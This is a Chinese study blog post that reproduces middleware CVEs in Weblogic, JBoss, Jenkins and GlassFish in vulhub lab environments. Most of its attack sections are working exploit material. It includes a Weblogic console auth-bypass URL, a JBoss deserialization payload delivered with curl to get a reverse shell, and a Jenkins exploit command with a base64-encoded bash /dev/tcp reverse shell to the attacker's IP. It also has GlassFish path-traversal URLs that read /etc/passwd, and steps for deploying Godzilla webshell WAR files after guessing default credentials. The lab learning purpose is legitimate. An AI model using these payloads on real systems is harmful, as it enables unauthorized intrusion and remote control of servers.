文章仅供学习交流,一些漏洞没能复现出来(菜就多练),日后来兴趣再补坑(大概~)
视频链接:
【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1pQ4y1s7kH
目录
一、知识点
1、中间件-Weblogic-CVE
2、中间件-JBoos-CVE
3、中间件-Jenkins-CVE
4、中间件-GlassFish-CVE
二、章节内容
1、常见中间件的安全测试
2、中间件安全测试流程
3、应用服务安全测试流程
三、案例演示
1、中间件-Weblogic-CVE&反序列化&远程执行
(1) CVE-2017-3506 远程代码执行漏洞
(2)CVE-2018-2893 反序列化漏洞
(3)CVE-2018-3245 远程代码执行漏洞
(4)CVE-2020-14882 未授权命令执行漏洞
(5)CVE-2021-2394 反序列化漏洞 (复现失败)
2、中间件-JBoos-CVE&弱口令
(1)CVE-2017-12149 反序列化远程代码执行漏洞
(2)CVE-2017-7504 反序列化命令执行漏洞
(3)弱口令 未授权访问
3、中间件-Jenkins-CVE
(1)CVE-2017-1000353 远程代码执行漏洞
(2)CVE-2018-1000861 远程命令执行漏洞 (未完成)
(3)CVE-2019-100300 远程代码执行漏洞(条件苛刻)
4、中间件-GlassFish-CVE
(1)CVE-2017-1000028 任意文件读取漏洞
(2)简单口令&Getshell (getshell失败)
四、总结
相关工具下载
链接:https://pan.baidu.com/s/1BcDQ1c1kt4M0JChMQLoH1Q
提取码:idoa
一、知识点
中间件及框架列表: IIS , Apache , Nginx , Tomcat , Docker , Weblogic , JBoos , WebSphere , Jenkins , GlassFish , Jira , Struts2 , Laravel , Solr , Shiro , Thinkphp , Spring , Flask , jQuery 等本节课程涉及以下中间件案例演示:
1、中间件-Weblogic-CVE
2、中间件-JBoos-CVE
3、中间件-Jenkins-CVE
4、中间件-GlassFish-CVE
二、章节内容
1、常见中间件的安全测试
(1)配置不当-解析&弱口令
(2)安全机制-特定安全漏洞
(3)安全机制-弱口令爆破攻击
(4)安全应用-框架特定安全漏洞
2、中间件安全测试流程
(1)判断中间件信息-名称&版本&三方
(2)判断中间件问题-配置不当&公开漏洞
(3)判断中间件利用-弱口令&EXP&框架漏洞
3、应用服务安全测试流程
(1)判断服务开放情况-端口扫描&组合应用等
(2)判断服务类型归属-数据库&文件传输&通讯等
(3)判断服务利用方式-特定漏洞&未授权&弱口令等
三、案例演示
1、中间件-Weblogic-CVE&反序列化&远程执行
简介:Weblogic 是 Oracle 公司推出的一个基于JAVAEE架构的中间件,能为JAVA程序提供开发、集成、部署和管理等功能。
注:由于下面的几个漏洞大部分可直接用集成工具一键探测并利用,因此下面只介绍漏洞详情,就不复现了,下载链接如下:
WeblogicTool-GUI漏洞利用工具,支持漏洞检测、命令执行、内存马注入、密码解密等
此工具需要在java8环境下运行,检查java版本
java -version
版本一致后,解压下载工具的压缩包,在此目录打开cmd,输入命令即可打开GUI界面(若不慎关掉cmd界面会退出程序)
java -jar WeblogicTool_1.3.jar
详细使用教程在下载链接中有,可自行研究
(1) CVE-2017-3506 远程代码执行漏洞
简介:
Weblogic的WLS Security组件对外提供webservice服务 ,里面的XMLDecoder是用来解析用户传入的数据,解析的过程中,由于其中的WorkContextXmlInputAdapter类没有限制传入的数据,会出现反序列化漏洞,导致可执行任意命令,因此可被攻击者构造恶意代码拿到权限。
影响版本:
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
判断方法:
访问以下目录,页面有返回服务信息则说明或许存在漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
(2)CVE-2018-2893 反序列化漏洞
简介:
此漏洞产生于WebLogic T3服务,T3协议在WebLogic Server和客户端间承当传输数据和通信作用,Weblogic开放端口后T3会默认开启,WebLogic服务存在的漏洞允许未经身份验证的攻击者通过T3获得服务器权限。
影响版本:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3
(3)CVE-2018-3245 远程代码执行漏洞
简介:
该漏洞和CVE-2018-2893类似,通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可构造恶意代码并通过T3进行反序列化实现远程代码执行获取系统权限。
影响版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3
判断方法:
CVE-2018-3245-PoC
(4)CVE-2020-14882 未授权命令执行漏洞
简介:
此漏洞可被未经身份验证的攻击者通过构造特殊的GET请求进行攻击,
影响版本:
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
WeblogicTool可以识别存在漏洞,但是利用这块用不了,尝试手工复现下
打开vulhub,进入/weblogic/CVE-2020-14882,启动容器
打开访问界面http://192.168.190.153:7001/console
输入poc,可直接进入后台,说明存在漏洞
http://192.168.190.153:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
下载shell脚本,执行命令
About CVE-2020-14882_ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能
(5)CVE-2021-2394 反序列化漏洞 (复现失败)
简介:
此为WebLogic组件存在高危漏洞,漏洞主要是FilterExtractor的readExternal方法使用不当,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制。成功利用该漏洞的攻击者可以获取WebLogic Server管理权限。
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
这里用vulhub的CVE-2020-14882的漏洞环境来代替(版本一致)
复现失败,poc运行报错╮(╯▽╰)╭
2、中间件-JBoos-CVE&弱口令
简介:
Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093 这
几个,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。
(1)CVE-2017-12149 反序列化远程代码执行漏洞
简介:
JBOSS Application Server是一个基于JE22的开放源代码的应用服务器,在这个漏洞中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中的 doFilter 方法不限制它执行反序列化的类,因此允许攻击者通过构建特殊的的序列化数据执行任意代码,无需用户验证即可获得服务器的控制权。
影响版本:
5.x和6.x版本的JBOSSAS
打开vulhub,进入/jboss/CVE-2017-12149,启动容器,访问url
访问/invoker/readonly,若出现500状态码说明存在漏洞
在kali下载利用利用工具,下载链接-github
按照要求替换Java版本为1.8.0_20,以root在kali运行以下命令,该命令是下载Java压缩包解压并替换本地Java包过程
# cd /opt# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz # tar zxvf jdk-8u20-linux-x64.tar.gz# rm -rf /usr/bin/java*# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin# java -version java version "1.8.0_20"
版本替换好后,进入前边git下载的文件目录,编译和执行应用程序
javac VulnerableHTTPServer.java -XDignore.symbol.filejava -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
编译一个ser文件,填写ip和端口信息
//编译 example1,该示例适用于类路径中具有 commons-collections3.2.1 和 JRE < 8u72 的应用程序javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java//生成ser文件。以下192.168.190.140是攻击机ip,4444是要监听的端口java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.192:4444
kali监听4444端口,同时使用curl反弹shell,可以看到反弹成功
curl http://192.168.190.153:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
(2)CVE-2017-7504 反序列化命令执行漏洞
简介:
Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本:
JBoss AS<=4.x
打开vulhub,进入/jboss/CVE-2017-7504,启动容器,访问url
访问/jbossmq-httpil/HTTPServerILServlet,能成功访问并出现以下页面说明存在漏洞
和CVE-2017-12149反序列化漏洞利用过程一样,使用curl反弹shell,有回显即为成功
(3)弱口令 未授权访问
简介:
部署jboss时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。
影响版本:
全版本
上边打开的CVE漏洞靶场可以直接用来复现,这里以CVE-2017-7504为例
访问/jmx-console/,显示输入账密,尝试默认密码:admin/admin,可进入后台
找到deployment(部署界面),进入找到void addurl()添加文件,在ParamValue下输入打包好的一句话木马文件
这里上传的一句话木马可以用godzilla生成,然后再压缩修改后缀为war,和上节课思路一样,传送门:第59天-服务攻防-中间件安全&CVE 复现&IIS&Apache&Tomcat&Nginx
打开kali的nginx,将shell.war放入网站目录(路径/var/www/html)
写入url访问路径,点击Invoke,跳转到上传成功界面,可以在后台主页查看是否上传成功
访问/shell/目录,可看到上传的文件,用godzilla成功连接
注
复现这里有一些问题说一下,首先,假如使用默认密码登录失败,想要批量测试其它弱口令,可以尝试用burpsuite爆破密码。由抓包可见账密传输使用base64编码且为admin:admin格式,只要字典给力爆破不在话下
其次,实测用蚁剑和自制的一句话木马是连接不上的,可以用godzilla或者冰蝎代替,个人更推荐godzilla因为提供生成一句话木马功能
3、中间件-Jenkins-CVE
简介:
Jenkins 是一个用 Java 编写的开源自动化工具,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。默认端口:8080
(1)CVE-2017-1000353 远程代码执行漏洞
简介:
该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。
影响版本:
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响(包括<=2.46.1版本)
打开vulhub,进入/Jenkins/CVE-2017-1000353,启动容器,访问url
下载好payload生成工具,下载链接(注意,需下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar和exploit.py两个文件)
在当前页面打开cmd,输入以下命令,kali开启端口监听
//生成序列化字符串poc.ser,这里反弹shell命令需要用base编码java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"//给靶机发送数据包,执行命令python exploit.py http://192.168.190.153:8080 poc.ser
注意,实测java版本需要1.8.0_291才行,否则反弹不了shell
反弹成功
(2)CVE-2018-1000861 远程命令执行漏洞 (未完成)
简介:
jenkins使用Stapler开发,在stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java 中使用的 Stapler Web 框架中存在一个代码执行漏洞,该漏洞允许攻击者通过访问构建特殊的 URL 来调用 Java 对象上的某些方法获取权限。
影响版本:
Jenkins主版本 <= 2.153
Jenkins LTS版本 <= 2.138.3
整半天复现的脚本运行不了,学习思路后暂时放弃╮(╯_╰)╭
(3)CVE-2019-100300 远程代码执行漏洞(条件苛刻)
简介:
在src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java 中存在一个沙盒绕过漏洞,该漏洞允许能提供沙盒脚本的攻击者在 Jenkins master JVM 上执行任意代码。
影响版本:
Pipeline: Declarative 插件 <= 1.3.4
Pipeline: Groovy 插 件 <= 2.61
Script Security 插 件 <= 1.49
该漏洞需要提前知道管理员用户账号和密码才能进行利用,利用价值不高
4、中间件-GlassFish-CVE
简介:
GlassFish 是一款强健的商业兼应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。默认端口为4848。
(1)CVE-2017-1000028 任意文件读取漏洞
简介:
Oracle 的 GlassFish Server Open Source Edition 4.1 容易受到经过身份验证和未经身份验证的目录遍历漏洞的攻击,可以通过发出特制的 HTTP GET 请求来利用该漏洞。
影响版本:
GlassFish <= 4.1.2
打开vulhub,进入/glassfish/4.1.0/目录启动容器,访问http://192.168.190.153:4848
访问以下url,可得到靶机为linux或windows下的账号密码存储位置。java中会把%c0%ae解析为\uC0AE后转义为字符.(点), 所以可以利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/向上跳转目录,达到目录穿越读取任意文件的效果。
linux(相当于访问/theme/META_INF/../../../../../../../../../../windows/win.ini):
https://192.168.190.153:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd windows(相当于访问/theme/META_INF/../../../../../../../../../../etc/passwd):
https://192.168.190.153:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
(2)简单口令&Getshell (getshell失败)
简介:
部署Glassfish时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。
影响版本:
全版本
上面的vulhub环境保留,访问url是一个登录界面,因此我们可以用bp爆破密码,抓包添加到intruder,导入字典批量爆破
可以看到爆破后有一个页面状态码和字符串长度不一样,尝试该账密可以成功登录后台
点击左边的Applications后点击Deploy,这里有文件上传路径点,上传godzilla生成的jsp文件压缩改为war后缀,
看其他复现博客这里需要访问https://192.168.190.153:8080/shell/shell.jsp,但是我这访问不了也没报错,网上也没有这种情况的解析,只好就此作罢
一般的话,这里能访问到直接godzilla连接即可
http://192.168.190.153:8080/[Context Root]/[war包内的filename]
四、总结
这节课也是以CVE漏洞复现为主,复现了一些比较常见的中间件漏洞。有一说一漏洞复现非常艰难,大体上都是环境配置问题。好在复现成功后非常有成就感,也能在不知不觉中提高动手能力。